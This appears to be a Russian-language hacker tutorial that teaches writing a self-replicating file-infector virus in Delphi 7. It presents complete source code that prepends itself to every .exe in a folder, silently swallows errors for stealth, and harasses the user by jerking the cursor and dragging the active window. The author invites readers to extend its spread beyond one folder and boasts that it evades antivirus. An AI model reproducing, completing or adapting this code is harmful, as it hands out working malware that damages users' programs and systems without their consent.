Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…
Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером
23.40 Кб, который будет полноценно размножаться и мешать работе системы.
Итак, наши инструменты:
- Борланд Дельфи 7.0 Enterprise Edition
- UPX PE packer
- Прямые руки 🙂
Для начала определимся, чего мы хотим. А хотим мы создать вирус, для этого надо знать принципы их размножения и поражения жертвы. Вдаваться в терминологию не буду, т.к. за меня это было прекрасно написано в одном из выпусков «Хакер-Спец». Поэтому перейдем к делу. Наша зверушка будет размножаться в пределах одного каталога
(кто обладает п.3 из набора инструментов тот доработает этот недочет, нам же нужно сделать тест не расплодив вирь по всему компу)
и дописывать себя в начало файла. Сам процесс работы до ужаса банален:
1. Запускаем вирус.
2. Происходит проверка, на запуск тела вируса или зараженной программы.
3. Если запущенно тело вируса, то переходим к заражению.
4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать.
5. Пока юзверь работает мешаем ему как можем.
6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл
(тот, который мы распаковали) и продолжаем инфицировать
своих соседей по каталогу.
7. Выходим из программы.
Вот собственно и все, что мой вирус может, а теперь реализация.
Для начала пишем скелет программы:
program zverofil;
uses sysutils,windows;
const virsize=23040;
var victims:tsearchrec;
f1,f2:file;
begin
end;
Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.
Процедура заражения выглядит вот так:
procedure infect(victim:string);
var
a:integer;
Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;
Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.
Далее определяем, есть ли у нас «хвост» или запущенная программа – тело вируса в чистом виде:
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;
Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.
Поиск и заражение жертв реализуется так:
if FindFirst('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
end;
until FindNext(victims)<>0 ;
Такой странный код из за того, что зараженный файл распадается на «зараженный.ехе» и «незараженный.ехе.ехе» на время запуска, чтобы не попытаться заразить только что запущенную программу, которая к тому же ушла в Read
Only и нужно проводить такую проверку.
Ну и код выполнения самой зараженной проги будет таким:
procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');
rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);
winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:
if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
setcursorpos(random(800),Random(600));
getwindowrect(GetForeGroundWindow,rect);
setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1,
rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');
sleep(400);
goto 10;
end;
except
end;
////
end;
Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой.
Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;
Вот собственно и все, надеюсь у вас созрели определенные мысли и идеи по прочтению этой статьи. Напоследок скажу, что этот зверь не виден антивирусами несмотря на то, что я еще в июне отсылал его с исходниками в «Лабараторию Касперского», правда в моем исполнении это был уже почтовый червь
(52Кб).